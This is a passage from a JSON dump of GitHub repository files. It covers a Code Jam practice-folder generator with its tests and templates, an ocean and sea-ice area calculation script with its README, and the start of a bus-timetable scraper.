+ str(suffix))\n new_folder.mkdir()\n return new_folder\n\nclass Node():\n def __init__(self, prefix, children):\n self.children = children\n self.prefix = prefix\n self.path = None\n\n def set_path(self, path):\n self.path = path\n\n#\n# Test cases.\n\nclass TestArgs(TestCase):\n\n def test_constructor_from_root(self):\n # Test valid construction.\n a = Args(\"TestComp\", \"2018\", \"TestRound\", \"TestProblem\", True)\n assert(a.competition == \"TestComp\")\n assert(a.year == 2018)\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == True)\n a = Args(\"TestComp\", \"2017\", \"TestRound\", \"TestProblem\", False)\n assert(a.competition == \"TestComp\")\n assert(a.year == 2017)\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n # Year not an int.\n with self.assertRaises(ValueError):\n a = Args(\"TestComp\", \"NotAnInt\", \"TestRound\", \"TestProblem\", False)\n # Year not big enough for interactive.\n with self.assertRaises(ValueError):\n a = Args(\"TestComp\", \"2017\", \"TestRound\", \"TestProblem\", True)\n # Missing arguments.\n with self.assertRaises(KeyError):\n a = Args(None, \"2020\", \"TestRound\", \"TestProblem\", False)\n with self.assertRaises(KeyError):\n a = Args(\"TestComp\", None, \"TestRound\", \"TestProblem\", False)\n with self.assertRaises(KeyError):\n a = Args(\"TestComp\", \"2020\", None, \"TestProblem\", False)\n with self.assertRaises(KeyError):\n a = Args(\"TestComp\", \"2020\", \"TestRound\", None, False)\n\n def test_folders_context(self):\n comp1_year1 = Node(\"Year\", [])\n comp1_year2 = Node(\"Year\", [])\n comp1 = Node(\"Comp\", [comp1_year1, comp1_year2])\n comp2_year1 = Node(\"Year\", [])\n comp2 = Node(\"Comp\", [comp2_year1])\n root = Node(\"root\", [comp1, comp2])\n with TestFolders(root) as test_folders:\n assert(len(test_folders.children) == 2) # There are two competition folders.\n for c in test_folders.children:\n c.path.is_dir()\n assert(comp1 == test_folders.children[0])\n assert(comp2 == test_folders.children[1])\n assert(len(comp1.children) == 2) # Comp1 has two year folders.\n assert(len(comp2.children) == 1) # Comp2 has one year folder.\n\n def test_constructor_from_competition_folder(self):\n comp = Node(\"Comp\", [])\n root = Node(\"root\", [comp])\n with TestFolders(root) as test_folders:\n comp_name = comp.path.parts[-1]\n # Move to competition folder.\n with Cwd(comp.path) as cwd:\n # Missing competition name.\n a = Args(None, \"2017\", \"TestRound\", \"TestProblem\", False)\n assert(a.competition == comp_name)\n assert(a.year == 2017)\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n # Specified different input.\n a = Args(\"OtherComp\", \"2017\", \"TestRound\", \"TestProblem\", False)\n assert(a.competition == \"OtherComp\")\n assert(a.year == 2017)\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n\n def test_constructor_from_year_folder(self):\n year = Node(\"2020\", [])\n comp = Node(\"Comp\", [year])\n root = Node(\"root\", [comp])\n with TestFolders(root) as test_folders:\n year_name = year.path.parts[-1]\n comp_name = comp.path.parts[-1]\n # Move to year folder.\n with Cwd(year.path) as cwd:\n # Missing competition and year.\n a = Args(None, None, \"TestRound\", \"TestProblem\", False)\n assert(a.competition == comp_name)\n assert(a.year == int(year_name))\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n # Specified different input.\n a = Args(\"OtherComp\", \"2017\", \"TestRound\", \"TestProblem\", False)\n assert(a.competition == \"OtherComp\")\n assert(a.year == 2017)\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n\n def test_constructor_from_round_folder(self):\n rnd = Node(\"Round\", [])\n year = Node(\"2020\", [rnd])\n comp = Node(\"Comp\", [year])\n root = Node(\"root\", [comp])\n with TestFolders(root) as test_folders:\n round_name = rnd.path.parts[-1]\n year_name = year.path.parts[-1]\n comp_name = comp.path.parts[-1]\n # Move to round folder\n with Cwd(rnd.path) as cwd:\n # Missing competition, year and round.\n a = Args(None, None, None, \"TestProblem\", False)\n assert(a.competition == comp_name)\n assert(a.year == int(year_name))\n assert(a.round_name == round_name)\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n # Specified different input.\n a = Args(\"OtherComp\", \"2017\", \"TestRound\", \"TestProblem\", False)\n assert(a.competition == \"OtherComp\")\n assert(a.year == 2017)\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n\n def test_constructor_from_problem_folder(self):\n prob = Node(\"Problem\", [])\n rnd = Node(\"Round\", [prob])\n year = Node(\"2020\", [rnd])\n comp = Node(\"Comp\", [year])\n root = Node(\"root\", [comp])\n with TestFolders(root) as test_folders:\n # Move to problem folder.\n with Cwd(prob.path) as cwd:\n # Missing all names.\n with self.assertRaises(KeyError):\n a = Args(None, None, None, None, False)\n # Specified different input.\n a = Args(\"OtherComp\", \"2017\", \"TestRound\", \"TestProblem\", False)\n assert(a.competition == \"OtherComp\")\n assert(a.year == 2017)\n assert(a.round_name == \"TestRound\")\n assert(a.prob_name == \"TestProblem\")\n assert(a.interactive == False)\n\n\nclass TestFolderMaker(TestCase):\n\n def test_folder_making(self):\n comp = Node(\"Comp\", [])\n root = Node(\"root\", [comp])\n with TestFolders(root) as test_tree:\n comp_name = comp.path.parts[-1]\n # Test non-interactive.\n args = Args(comp_name, \"2017\", \"TestRound\", \"TestProblem\", False)\n fm = FolderMaker(args, test_mode=True)\n new_folder = fm.make_folder()\n parts = new_folder.parts\n assert(parts[-1] == args.prob_name)\n assert(parts[-2] == args.round_name)\n assert(parts[-3] == str(args.year))\n assert(parts[-4] == args.competition)\n assert(new_folder / \"tests.in\").exists()\n assert(new_folder / \"main.py\").exists()\n with open(new_folder / \"main.py\", 'r') as f:\n head = f.readline().strip()\n assert(head == \"'''Standard template.\")\n with self.assertRaises(FileExistsError):\n fm.make_folder()\n # Test interactive.\n i_args = Args(comp_name, \"2018\", \"TestRound\", \"TestProblem\", True)\n fm = FolderMaker(i_args, test_mode=True)\n new_folder = fm.make_folder()\n parts = new_folder.parts\n assert(parts[-1] == i_args.prob_name)\n assert(parts[-2] == i_args.round_name)\n assert(parts[-3] == str(i_args.year))\n assert(parts[-4] == i_args.competition)\n assert(new_folder / \"tests.in\").exists()\n assert(new_folder / \"main.py\").exists()\n with open(new_folder / \"main.py\", 'r') as f:\n head = f.readline().strip()\n assert(head == \"'''Interactive template.\")\n with self.assertRaises(FileExistsError):\n fm.make_folder()\n\nclass TestProcessInput(TestCase):\n\n def test_process_input(self):\n comp = Node(\"Comp\", [])\n root = Node(\"root\", [comp])\n with TestFolders(root) as test_folders:\n comp_name = comp.path.parts[-1]\n args = ['-c', comp_name, '-y', '2017', '-r', 'TestRound', '-p', 'TestProblem']\n process_input(args)\n args = ['-c', comp_name, '-y', '2018', '-r', 'TestRound', '-p', 'TestProblem2', '-i']\n process_input(args)\n args = ['-c', comp_name, '-y', 'blah', '-r', 'TestRound', '-p', 'TestProblem']\n with self.assertRaises(ValueError):\n process_input(args)\n args = ['-c', comp_name, '-y', '2017', '-r', 'TestRound', '-p', 'TestProblem', '-h']\n assert(process_input(args) == \"help\")\n" }, { "alpha_fraction": 0.6166514158248901, "alphanum_fraction": 0.6230558156967163, "avg_line_length": 33.69841384887695, "blob_id": "880dba83cc9e93811ce336460417e996c4fd38cf", "content_id": "2008c66a37ff2621c89a0211a7a9a0a43fa879b8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2186, "license_type": "permissive", "max_line_length": 145, "num_lines": 63, "path": "/templates/interactive-template.py", "repo_name": "wgolling/codejam-practice-folder", "src_encoding": "UTF-8", "text": "'''Interactive template.\n\nThis template is suitable for Python3 solutions to interactive CodeJam problems.\n\nThis example works out the \"Find The Heavy Ball\" problem.\nYou have a list of \"balls\" (numbers from 0 to n-1), whose length is a power of 3,\nand you must determine the unique heavy ball in a limited number of guesses.\n\nAt each iteration you must tell the tester which balls to weigh against\neach other, by printing two lists of indices separated by a #. The tester will\nthen return an l if the first list is heavier, r if the second list is heavier, \nand b if they weight the same.\n\nThe tester typically uses \"-1\" to indicate malformed input or wrong answers. If\nthe tester returns a \"-1\" it will send no more messages, so the onus is on the\nprogrammer to exit their program when this happens, or else it will hang.\n'''\nimport sys\n\ndef solve(balls, guesses):\n start, end = 0, balls\n # Loop invariant: end - start is always a power of 3.\n while end - start > 1:\n # Prepare the output.\n third = (end - start) // 3\n left = [str(x) for x in range(start, start + third)]\n right = [str(x) for x in range(start + third, start + 2 * third)]\n # Print the output for the tester.\n print(\" \".join(left) + \" # \" + \" \".join(right))\n # Flush stdout.\n sys.stdout.flush()\n # Get new input.\n s = input()\n # Process response.\n if s == \"-1\":\n print(\"Something went wrong.\")\n sys.exit()\n elif s == \"r\":\n start = start + third\n elif s == \"b\":\n start = start + 2 * third\n # New interval is a third the size of the old interval.\n end = start + third\n return start\n\ndef main():\n T = int(input()) # First input is the test case, potentially with global parameters.\n for _ in range(T):\n balls, guesses = map(int, input().split()) # Test cases might come with parameters, such as guess limits.\n heavy = solve(balls, guesses)\n # Print.\n print(heavy)\n # Flush stdout.\n sys.stdout.flush()\n # Get new input.\n s = input()\n if s == \"-1\":\n print(\"Wrong answer.\")\n sys.exit()\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.7238147854804993, "alphanum_fraction": 0.7276736497879028, "avg_line_length": 49.38888931274414, "blob_id": "79a415d3dfefef76e6580999785ab0ef6b6d6bb4", "content_id": "245e02db83132260b25135490a7022ae005febf9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1814, "license_type": "permissive", "max_line_length": 429, "num_lines": 36, "path": "/README.md", "repo_name": "wgolling/codejam-practice-folder", "src_encoding": "UTF-8", "text": "# Code Jam Practice Folder\n\nv2.0.0\n\nProvides Python template files for coding competition problems (currently just Google's CodeJam and Kickstart) and a script for making a new problem folder. There is a standard template, as well as a template for interactive problems.\n\n## Getting Started\n\nClone the repo into your practice folder, and run the `new_problem.py` script with the following usage:\n\n python3 <path>/new_problem.py [-h] [-i] -c <competition> -y <year> -r <round> -p <name>\n\nThe `-p` flag is always required, and the `-c`, `-y` and `-r` flags are required unless the current working directory is a subdirectory of `<repo_root>`. For example if CWD is of the form `<repo_root>/<competition>` then the `-c` flag is not required, and if it is of the form `<repo_root>/<competition>/<year>` then user also doesn't need to include `-y`, but they can still specify a different competition or year if they want.\n\n* `-h`: display usage (optional)\n* `-i`: interactive problem (optional)\n* `-c`: flag for the name of the competition the problem is from\n* `-y`: flag for the problem year, which must be integer\n* `-r`: flag for the round name (Qualification, Round1C, etc.)\n* `-p`: flag for the problem name\n\nIf `-h` is included the program displays usage and then it exits. If the required flags are included, it will look for the file `<repo_root>/<competition>/<year>/<round>/<name>/main.py` and abort if it is found, otherwise the file will be created along with any necessary folders. The standard template will be used unless interactive is specified with the `-i` flag.\n\n### Prerequisites\n`new_problem.py` uses pathlib so needs to be run with python 3.4+.\n\n## TODO\n\n\n## Author\n\n* **William Gollinger**\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details\n" }, { "alpha_fraction": 0.6365441679954529, "alphanum_fraction": 0.6422187685966492, "avg_line_length": 30.328887939453125, "blob_id": "d5d2c08faa1f6417597011cc11cc4e9b385803bd", "content_id": "36af68956cef802f91e6db238af4a74066b81889", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7049, "license_type": "permissive", "max_line_length": 120, "num_lines": 225, "path": "/new_problem.py", "repo_name": "wgolling/codejam-practice-folder", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n'''New Problem script.\n\nThis script creates new problem folders for practicing coding competitions. There\nis a parameter for specifying whether it is an interactive problem, which is only\nacceptible for problems whose competition folder is `GoogleCodeJam` and in\ncertain years.\n\nExample:\n The user must specify the competition, the year (an integer), the round,\n and the problem name. Some parameters are optional if the current working\n directory is a subdirectory of the root practice folder, but the problem name\n is always required. The following is typical usage::\n\n $ python3 new_problem.py -c CodeJam -y 2020 -r Round1A -p PatternMatching\n\n $ python3 ../../new_problem.py -r Round1A -p PatternMatching\n\nTodo:\n * Change Args constructor input to a dictionary?\n\n'''\n\nimport sys, shutil\nfrom getopt import getopt, GetoptError\nfrom pathlib import Path\n\nSCRIPT_PATH = Path(__file__).parent.resolve()\n\ndef main(argv):\n try:\n # Validate input.\n a = process_input(argv)\n if a == \"help\":\n print_usage(err=False)\n # Make new folder.\n fm = FolderMaker(a)\n fm.make_folder()\n except Exception as e:\n exit(\"{}\".format(e))\n\ndef print_usage(err=True):\n exit('usage: new_problem.py [-h] [-i] -c <competition> -y <year> -r <round> -p <name>', err=err)\n\ndef exit(message, err=True):\n print(message)\n sys.exit(1 if err else 0)\n\ndef process_input(argv):\n competition, year, round_name, name = None, None, None, None\n interactive = False\n try:\n opts, args = getopt(argv, 'hic:y:r:p:', ['interactive', 'competition=' 'year=', 'round=', 'name='])\n except GetoptError:\n print_usage()\n else:\n for opt, arg in opts:\n if opt == '-h':\n return 'help'\n elif opt in ('-i', '--interactive'):\n interactive = True\n elif opt in ('-c', '--competition'):\n competition = arg\n elif opt in ('-y', '--year'):\n try:\n year = int(arg)\n except ValueError as e:\n raise ValueError('Year {} must be an integer.'.format(arg)) from e\n # exit('Year {} must be an integer.'.format(year))\n elif opt in ('-r', '--round'):\n round_name = arg\n elif opt in ('-p', '--name'):\n name = arg \n try:\n a = Args(competition, year, round_name, name, interactive)\n except:\n raise\n return a\n\nclass Args:\n '''The Args class validates input from the command line.\n\n Args:\n competition (str): The name of the competition.\n year (int): The year.\n round_name (str): The name of the round.\n name (str): The name of the problem.\n interactive (bool): Indicates whether the problem is interactive.\n\n Raises:\n KeyError: If any parameters are missing. \n ValueError: If `year` is not an integer.\n ValueError: If `interactive` is not compatible with `competition` and `year`.\n\n Attributes:\n competition (str): The name of the competition.\n year (int): The year.\n round_name (str): The name of the round.\n name (str): The name of the problem.\n interactive (bool): Indicates wether the problem is interactive.\n\n '''\n\n def __init__(self, competition, year, round_name, prob_name, interactive):\n # If cwd is a subdirectory of the script's directoy, some arguments are optional.\n try:\n rel_parts = Path.cwd().relative_to(SCRIPT_PATH).parts\n except ValueError:\n rel_parts = []\n # Validate competition variable.\n if not competition: \n if len(rel_parts) < 1:\n raise KeyError(\"Missing competition name.\")\n else:\n competition = rel_parts[0]\n else:\n competition = str(competition)\n # Validate year variable.\n if not year:\n if len(rel_parts) < 2:\n raise KeyError(\"Missing year.\")\n else:\n year = self._try_year(rel_parts[1])\n else:\n year = self._try_year(year)\n # Validate round variable.\n if not round_name:\n if len(rel_parts) < 3:\n raise KeyError(\"Missing round name.\")\n else:\n round_name = rel_parts[2]\n else:\n round_name = str(round_name)\n # Validate name variable.\n if not prob_name:\n raise KeyError(\"Missing problem name.\")\n else:\n prob_name = str(prob_name)\n # Interactive option is only available for 2018 and later.\n if year < 2018 and interactive:\n raise ValueError('Interactive problems are only in 2018 and later.')\n # Finally, initialize fields.\n self.competition = competition\n self.year = year\n self.round_name = round_name\n self.prob_name = prob_name\n self.interactive = interactive\n\n def _try_year(self, year):\n try:\n return int(year)\n except ValueError as e:\n raise ValueError('Year {} not an integer.'.format(year)) from e\n\n\nclass FolderMaker:\n \"\"\"FolderMaker handles the OS operations.\n\n It has a make_folder method that creates a new problem folder and sets it up\n with the appropriate template, based on a given Args instance.\n\n Args:\n a (Args): An Args instance containing the new problem's data.\n\n Attributes:\n problem_path (Path): pathlib.Path instance to destination folder.\n\n \"\"\"\n\n def __init__(self, a, test_mode=False):\n self._competition = a.competition\n self._year = str(a.year)\n self._round_name = a.round_name\n self._prob_name = a.prob_name\n self._interactive = a.interactive\n self._test_mode = test_mode\n self.problem_path = SCRIPT_PATH / self._competition / self._year / self._round_name / self._prob_name\n\n def make_folder(self):\n '''Creates and sets up folder.\n\n Returns:\n The path to the new folder.\n\n Raises:\n FileExistsError: If directory already exists.\n\n '''\n\n # Create folder.\n path = self.problem_path\n path.mkdir(parents=True)\n self._output('Created folder {}/{}/{}/{}.'.format(self._competition, self._year, self._round_name, self._prob_name))\n # Select the right template.\n template_name = ''\n prefix = 'interactive' if self._interactive else ''\n if len(prefix) > 0:\n template_name = prefix + '-'\n template_name += 'template.py'\n # Copy template file.\n template_path = SCRIPT_PATH / 'templates' / template_name\n dest_path = path / 'main.py'\n shutil.copy(str(template_path), str(dest_path))\n if self._interactive and int(self._year) >= 2019:\n # Although there are interactive problems in 2018 their local testing tool\n # is bundled with an interactive runner.\n runner_path = SCRIPT_PATH / 'templates' / 'interactive_runner.py'\n runner_dest = path / 'interactive_runner.py'\n shutil.copy(str(runner_path), str(runner_dest))\n rel_path = path.relative_to(path.parents[3])\n self._output('Copied {} template to {}.'.format(prefix, str(rel_path / 'main.py')))\n # Create tests file.\n test_path = path / 'tests.in'\n test_path.touch()\n self._output('Created test file {}.'.format(str(rel_path / 'tests.in')))\n return path\n\n def _output(self, text):\n if not self._test_mode:\n print(text)\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n # Close program.\n sys.exit(0)\n" }, { "alpha_fraction": 0.5757009387016296, "alphanum_fraction": 0.5850467085838318, "avg_line_length": 41.79999923706055, "blob_id": "452121ef36b0728ee56d1e0566db08f646e0ed0f", "content_id": "d8957e7993a09dcb5d80514104335000377c646d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1070, "license_type": "permissive", "max_line_length": 149, "num_lines": 25, "path": "/templates/pre2018-template.py", "repo_name": "wgolling/codejam-practice-folder", "src_encoding": "UTF-8", "text": "'''Pre-2018 Template\n\nBefore 2018, solutions were submitted in text files with the extention `.out`.\nDownload the approprite input files from the problem description and put them\nin the problem folder, then change the FILENAME variable appropriately.\n'''\nFILENAME = \"tests\"\n\ndef main():\n with open(FILENAME + \".in\") as in_file, open(FILENAME + \".out\", 'w') as out_file: # Input and output filenames are determined by FILENAME variable.\n T = int(read(in_file)) # First line of input is the number of test cases.\n for i in range(1, T + 1):\n n, m = [int(s) for s in read(in_file).split(\" \")] # Get input as specified by the problem.\n result = solve_problem(n, m) # Solve problem for given input.\n out_file.write(\"Case #{}: {}\".format(i, result)) # Print result to output file.\n\ndef read(in_file):\n return in_file.readline().strip()\n\ndef solve_problem(a, b):\n return a + b\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
6
geofrey254/thesavannawave
https://github.com/geofrey254/thesavannawave
51c898500ab155da111236781d904b5c7cc5ddf7
7cf58d554439769c15fc95a64fa85d8050b57012
a48f2aa52a5e608e18be8aebd5ebc1f2fad199f0
refs/heads/master
2023-06-09T18:32:03.385261
2021-07-04T15:59:19
2021-07-04T15:59:19
368,812,125
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6851851940155029, "alphanum_fraction": 0.6851851940155029, "avg_line_length": 24.761905670166016, "blob_id": "9ce753fe93dd10a7a6cc3174d9c74f914a4c8bd5", "content_id": "c83919e06a1f2426918e93579d4e2e1e46dbcab0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 540, "license_type": "no_license", "max_line_length": 52, "num_lines": 21, "path": "/blog/sitemaps.py", "repo_name": "geofrey254/thesavannawave", "src_encoding": "UTF-8", "text": "from django.contrib.sitemaps import Sitemap\nfrom django.shortcuts import reverse\nfrom .models import Post, Lists, News\nclass StaticViewSitemap(Sitemap):\n def items(self):\n return ['home', 'lists', 'news', 'releases']\n\n def location(self, item):\n return reverse(item)\n\nclass PostSitemap(Sitemap):\n def items(self):\n return Post.objects.all()\n\nclass ListsSitemap(Sitemap):\n def items(self):\n return Lists.objects.all()\n\nclass NewsSitemap(Sitemap):\n def items(self):\n return News.objects.all()" }, { "alpha_fraction": 0.681384265422821, "alphanum_fraction": 0.681384265422821, "avg_line_length": 43.157894134521484, "blob_id": "c101eaab1e10b1a7e7a11c42f7a4d5d6553e0e8e", "content_id": "57bdb96353d504db50cb6800a30d26cb95a79d10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 838, "license_type": "no_license", "max_line_length": 93, "num_lines": 19, "path": "/blog/urls.py", "repo_name": "geofrey254/thesavannawave", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('the_savanna_wave_lists/', views.lists_page, name='lists'),\n path('the_savanna_wave/news', views.news, name='news'),\n path('the_savanna_wave/<slug:slug>/', views.article_detail, name='article-detail'),\n path('the_savanna_wave_lists/<slug:slug>/', views.list_detail, name='list-detail'),\n path('the_savanna_wave/news/<slug:slug>/', views.news_detail, name='news-detail'),\n path('the_savanna_wave/category/<slug:slug>/', views.CategoryView, name='blog_category'),\n]\n\nif settings.DEBUG: \n urlpatterns += static(settings.MEDIA_URL, \n document_root=settings.MEDIA_ROOT)" } ]
2
patternizer/OCEAN_AREA
https://github.com/patternizer/OCEAN_AREA
1a03aea6201228cd48bcabdb955ac9b0aa74995a
47c9b6e6eb835c3a1c6ba65598daafc4c9f287bf
b5a225dc9fd2b33999f9898a446af5771bb2aac1
refs/heads/master
2020-06-01T22:36:26.900246
2019-06-18T00:35:32
2019-06-18T00:35:32
190,953,278
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.711459755897522, "alphanum_fraction": 0.7462483048439026, "avg_line_length": 33.92856979370117, "blob_id": "71ac1f0c58ce5bba212f246d9db834d6ef665f3f", "content_id": "6e2ea4d3148cde1f8be462727f4df91e4e34dbfa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1466, "license_type": "permissive", "max_line_length": 336, "num_lines": 42, "path": "/README.md", "repo_name": "patternizer/OCEAN_AREA", "src_encoding": "UTF-8", "text": "![image](https://user-images.githubusercontent.com/5902974/59154328-fe0c6300-8a67-11e9-9261-4d79fcf8ee94.png)\n\n# OCEAN_AREA\n\nDevelopment code for calculation of the latitudinal variation of ocean + sea ice area.\n\n## Contents\n\n* `ocean_area.py` - main script to be run with Python 3.6\n* `ocean_area.png` - example output figure\n\nThe first step is to clone the latest OCEAN_AREA code and step into the check out directory: \n\n $ git clone https://github.com/patternizer/OCEAN_AREA.git\n $ cd OCEAN_AREA\n \n### Using Standard Python \n\nThe code should run with the [standard CPython](https://www.python.org/downloads/) installation and was tested in a conda virtual environment running a 64-bit version of Python 3.6+.\n\nOCEAN_AREA can be run from sources directly, once the following module requirements are resolved:\n\n* `numpy`\n* `xarray`\n* `matplotlib`\n* `seaborn`\n\nRun with:\n\n $ python ocean_area.py\n \n### Landsea_mask.nc \n\nTo run, you will need a CF-compliant land-sea mask in netCDF-4 format (`landsea_mask.nc`). For example, to generate the plot I used the NAVOCEANO_landmask_v1.0 EUMETSAT_OSI-SAF_icemask ARCLake_lakemask which is an OSTIA L4 product from the ESA SST_CCI project produced using OSTIA reanalysis sytem v3.0 and is at 0.05 degree resolution.\n\n## License\n\nThe code is distributed under terms and conditions of the [MIT license](https://opensource.org/licenses/MIT).\n\n## Contact information\n\n* [Michael Taylor](https://patternizer.github.io/" }, { "alpha_fraction": 0.584343433380127, "alphanum_fraction": 0.6174242496490479, "avg_line_length": 38.58000183105469, "blob_id": "43eb61123a18071c03d8e9d7fc7e48ee6d69bcdd", "content_id": "e8c4d9ce7d1b773903ea602fa710bbb312399b9f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3960, "license_type": "permissive", "max_line_length": 670, "num_lines": 100, "path": "/ocean_area.py", "repo_name": "patternizer/OCEAN_AREA", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# PROGRAM: ocean_area.py\n# ----------------------------------------------------------------------------------\n# Version 0.2\n# 8 June, 2019\n# michael.taylor AT reading DOT ac DOT uk \n\nimport numpy as np\nimport xarray\nimport seaborn as sns; sns.set(style=\"darkgrid\")\nimport matplotlib\nimport matplotlib.pyplot as plt; plt.close(\"all\")\n\ndef calc_land_frac(landsea_mask):\n '''\n Calc lat_fraction of non-land [0.05 degree resolution] from landsea_mask:\n mask:source = \"NAVOCEANO_landmask_v1.0 EUMETSAT_OSI-SAF_icemask ARCLake_\\\nlakemask\"\n mask:comment = \"water land lake ice\"\n mask:flag_masks = 1b, 2b, 4b, 8b, 16b\n mask:summary = \"OSTIA L4 product from the ESA SST CCI project, produced \\\nusing OSTIA reanalysis sytem v3.0\"\n '''\n\n ds = xarray.open_dataset('landsea_mask.nc')\n x = ds.lon\n y = ds.lat\n z = ds.mask\n\n ocean = z==1\n land = z==2\n sea_ice = z==9\n\n f = 1 - (np.sum(land[0,:,:],axis=1) / len(x)*1.)\n lat_fraction = np.array(f)\n\n lat_vec = np.array(y)\n dlat = 0.05\n\n return lat_vec, lat_fraction, dlat\n\ndef calc_water_frac(lat_vec, lat_fraction, dlat):\n '''\n Calc Earth surface area and ocean + sea ice vectors (latitudinal slices)\n \n The equation for the area of the Earth between a line of latitude and the north pole (the area of a spherical cap): A = 2*pi*R*h where R is the radius of the earth and h is the perpendicular distance from the plane containing the line of latitude to the pole. We can calculate h using trigonometry: h = R*(1-sin(lat)). The area north of a line of latitude is therefore: A = 2*pi*R^2(1-sin(lat)) with angles in radians (i.e. degrees * 2pi/360). The area between two lines of latitude is the difference between the area north of one latitude and the area north of the other latitude: A = |2*pi*R^2(1-sin(lat2)) - 2*pi*R^2(1-sin(lat1)) = 2*pi*R^2 |sin(lat1) - sin(lat2)\n '''\n\n R = 6371.0088 # Mean Earth radius [km]\n\n A = []\n N = len(lat_vec)\n for i in range(N):\n\n dA = 2. * np.pi * R**2.0 * np.absolute( np.sin(2*np.pi/360 * (lat_vec[i]+dlat/2)) - np.sin(2*np.pi/360 * (lat_vec[i]-dlat/2)))\n A.append(dA)\n\n surface_vec = np.array(A)\n ocean_vec = surface_vec * lat_fraction\n\n return surface_vec, ocean_vec\n\ndef plot(lat_vec, surface_vec, ocean_vec):\n\n ocean_area = 361900000.0 # Total ocean area from ETOPO1: https://ngdc.noaa.gov/mgg/global/etopo1_ocean_volumes.html\n FPE = 100. * (1.0 - np.sum(ocean_vec) / ocean_area)\n ocean_percent = 100. * (np.sum(ocean_vec) / np.sum(surface_vec))\n\n fig, ax = plt.subplots()\n plt.fill_between(surface_vec, lat_vec, color='g', step=\"post\", alpha=0.4)\n plt.fill_between(ocean_vec, lat_vec, color='b', step=\"post\", alpha=0.4)\n plt.plot(surface_vec, lat_vec, color='g', drawstyle='steps-post', label='Earth surface area')\n plt.plot(ocean_vec, lat_vec, color='b', drawstyle='steps-post', label='Ocean + sea ice')\n ax = plt.gca()\n ax.set_xlim([-1000,250000])\n ax.set_ylim([-91,90])\n ticks = ax.get_yticks()\n ax.set_yticks(np.linspace(-90, 90, 7))\n plt.legend()\n plt.xlabel(r'Area / $km^{2}$')\n plt.ylabel(r'Latitude / $degrees$, N')\n# title_str = \"NOAA ETOPO1: \" + \"{0:.3e}\".format(ocean_area) + \" L4 OSTIA: \" + \"{0:.3e}\".format(np.sum(ocean_vec)) + \" FPE=\" + \"{0:.3f}\".format(FPE) + \"%\" + \" Ocean+Ice=:\" + \"{0:.3f}\".format(ocean_percent) + \"%\"\n title_str = \"Ocean+sea ice=\" + \"{0:.3f}\".format(ocean_percent) + \"%\"\n file_str = \"ocean_area.png\"\n plt.title(title_str, fontsize=12)\n fig.tight_layout()\n plt.savefig(file_str)\n\n return FPE, ocean_percent\n\nif __name__ == \"__main__\":\n\n lat_vec, lat_fraction, dlat = calc_land_frac('landsea_mask.nc')\n surface_vec, ocean_vec = calc_water_frac(lat_vec, lat_fraction, dlat) \n FPE, ocean_percent = plot(lat_vec, surface_vec, ocean_vec)\n\n print('FPE=', FPE, '%')\n print('% Ocean + Sea Ice=', ocean_percent, '%')\n print('** END')\n\n\n" } ]
2
profMagija/rv
https://github.com/profMagija/rv
53f6f29854c86637c8835b9f74390b3517a5e519
541884a42e535c16b697fd7d41c8369c268ad14d
d199e0e51919a7a008f4f02ff3f20dbe38d05914
refs/heads/master
2020-09-30T16:26:27.400325
2019-12-11T09:20:33
2019-12-11T09:20:33
227,324,822
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5550220012664795, "alphanum_fraction": 0.5590236186981201, "avg_line_length": 25.8817195892334, "blob_id": "7bd97eaa84d7fbfc5f003b321c2d6e8c68ad2126", "content_id": "46c5aeaa37203209c6599dd36bd7486b4fcc1500", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2499, "license_type": "no_license", "max_line_length": 231, "num_lines": 93, "path": "/rv.py", "repo_name": "profMagija/rv", "src_encoding": "UTF-8", "text": "#!python3\n\nimport requests\nimport re\nimport sys\nimport datetime, time\n\nURL_MM = 'http://gspns.rs/red-voznje-medjumesni'\n\nses = requests.Session()\n\n_token_re = re.compile(r'name=\"_token\" value=\"([^\"]+)\"')\ndef get_token():\n t = ses.get(URL_MM).text\n for m in _token_re.finditer(t):\n return m.group(1)\n\n raise ValueError('wut')\n\ndef usage(nm):\n print(f'usage: {nm} <to|from> <destination> [date]', file=sys.stderr)\n\n\n\nif len(sys.argv) not in [3, 4]:\n usage(sys.argv[0])\n sys.exit(1)\n\nif len(sys.argv) == 3:\n sys.argv.append('0')\n\n_, tfr, dest, date = sys.argv\n\ntfr = tfr.lower()\ndest = dest.upper()\ndate = date.lower()\n\ntry:\n i = int(date)\n date = datetime.date.today() + datetime.timedelta(days=i)\n date 